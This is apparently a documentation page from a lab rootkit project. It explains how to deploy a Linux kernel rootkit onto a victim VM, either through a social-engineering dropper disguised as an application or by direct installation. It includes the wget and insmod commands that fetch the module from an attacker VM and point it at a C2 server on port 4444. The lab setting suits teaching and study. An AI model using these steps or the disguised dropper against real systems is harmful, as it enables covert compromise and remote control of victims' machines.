Prerequisites

  1. Host setup: Host Environment Setup
  2. VM disk: victim.qcow2 in /var/lib/libvirt/images/
  3. VM launched: sudo ./scripts/run_vms.sh

VM Access

  • IP: 192.168.200.10 (static)
  • Credentials: victim / jules
  • Target: Ubuntu 20.04 LTS (kernel 5.4.0)

Deploy Rootkit

Choose your deployment method:

Automated Deployment

Use the social engineering dropper for realistic attack simulation:

  1. Access Landing Page: http://192.168.200.11:8080
  2. Download NeoGeoLoc: Click download on the landing page
  3. Run Application: Execute the downloaded dropper
  4. Click Register: Application automatically downloads and installs rootkit

Details: See Dropper Deployment for complete process and interface screenshots.

Direct Installation

For testing or development purposes:

  1. Get Payload: Download rootkit files directly from attacker VM
  2. Transfer: Copy epirootkit.ko to victim VM
  3. Install: Load kernel module manually
  # On victim VM
wget http://192.168.200.11:3000/download/epirootkit.ko
sudo insmod epirootkit.ko address=192.168.200.11 port=4444 #(default values)

Next Steps

  1. Control: Use C2 Server or Web UI
  2. Features: Explore Rootkit Features
Edit this page